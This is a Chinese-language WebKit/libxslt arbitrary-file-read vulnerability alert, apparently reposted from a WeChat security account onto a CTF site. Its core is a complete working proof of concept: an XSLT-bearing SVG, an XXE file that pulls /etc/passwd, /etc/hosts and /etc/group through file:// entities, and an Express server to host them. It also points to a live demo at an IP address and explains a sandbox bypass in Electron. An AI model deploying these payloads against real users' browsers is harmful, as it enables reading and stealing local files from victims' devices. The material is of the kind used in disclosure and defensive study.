关于WebKit引擎存在任意文件读取漏洞的漏洞预警

产品描述:

WebKit是一个开源的浏览器引擎,与之相对应的引擎有Gecko(Mozilla Firefox 等使用),Trident(也称MSHTML,IE 使用)和EdgeHTML(也称Chakra,Edge和其他UWP浏览器使用)。

同时WebKit 也是苹果Mac OS X 系统引擎框架版本的名称,主要用于Safari,Dashboard,Mail 和其他一些Mac OS X 程序。

影响产品或组件及版本:

目前主要影响所有的IOS系统用户(测试设备为iphone 16.3.1系统)-ios17以上不受影响

利用过程及结果:
创建test.svg主体文件,文件内容如下:

<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet type="text/xsl" href="#"?>
<xsl:stylesheet id="color-change" version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/"> <svg version="1.1" id="Capa_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" viewBox="0 0 1000 1000"> <foreignObject id="myObj" width="1000" height="1000"> <div style="font-size:xxx-large" xmlns="http://www.w3.org/1999/xhtml"> <a href="#">#Copy me#</a><br/> XSL: <xsl:value-of select="system-property('xsl:version')"/><br/> Vendor: <xsl:value-of select="system-property('xsl:vendor')"/><br/> Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')"/><br/> document() <xsl:copy-of select="document('test.xsl')"/> </div> </foreignObject> </svg> </xsl:template></xsl:stylesheet>


创建test.xsl文件,文件内容如下:

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE p [<!ENTITY passwd SYSTEM "file:///etc/passwd"><!ENTITY hosts SYSTEM "file:///etc/hosts"><!ENTITY group SYSTEM "file://localhost/etc/group">]> 
<p> <p style="border-style: dotted;">/etc/passwd: &passwd; </p> <p style="border-style: dotted;">/etc/hosts:&hosts; </p> <p style="border-style: dotted;">/etc/group:&group; </p></p>

创建server.js文件,文件内容如下:

const express = require('express');const path = require('path');
const app = express();const port = 3000;
app.get('/test.svg', (req, res) => { res.sendFile(path.join(__dirname, 'test.svg'));});
app.get('/test.xsl', (req, res) => { res.set('Access-Control-Allow-Origin', '*'); res.sendFile(path.join(__dirname, 'test.xsl'));});
app.listen(port, () => { console.log(监听地址);});

而后使用iphone设备或者mac设备访问恶意地址http://ip/test.svg ,即可获取本机的敏感信息


关于WebKit引擎存在任意文件读取漏洞的漏洞预警

或访问在线示例地址
http://188.68.220.248/js.svg


技术细节表述:

Libxslt是基于WebKit的浏览器(如chrome、safari等)中使用的默认XSL库。Libxslt允许在通过XSL document()方法加载的文档中使用外部实体。攻击者可以绕过安全限制,从http访问文件://url并获得文件访问权限。
使用默认的沙盒,攻击者可以读取ios(safari/cochrome)、mac(safari/chrome)、android(chrome)和三星电视(默认浏览器)上的/etc/hosts文件。
当使用-no-sandbox属性(Electron/PantomJS)时,攻击者可以读取任何操作系统上的任何文件。

漏洞来源:

https://bugs.chromium.org/p/chromium/issues/detail?id=1458911

原文始发于微信公众号(我不懂安全):关于WebKit引擎存在任意文件读取漏洞的漏洞预警

版权声明:admin 发表于 2023年11月17日 下午2:45。
转载请注明:关于WebKit引擎存在任意文件读取漏洞的漏洞预警 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...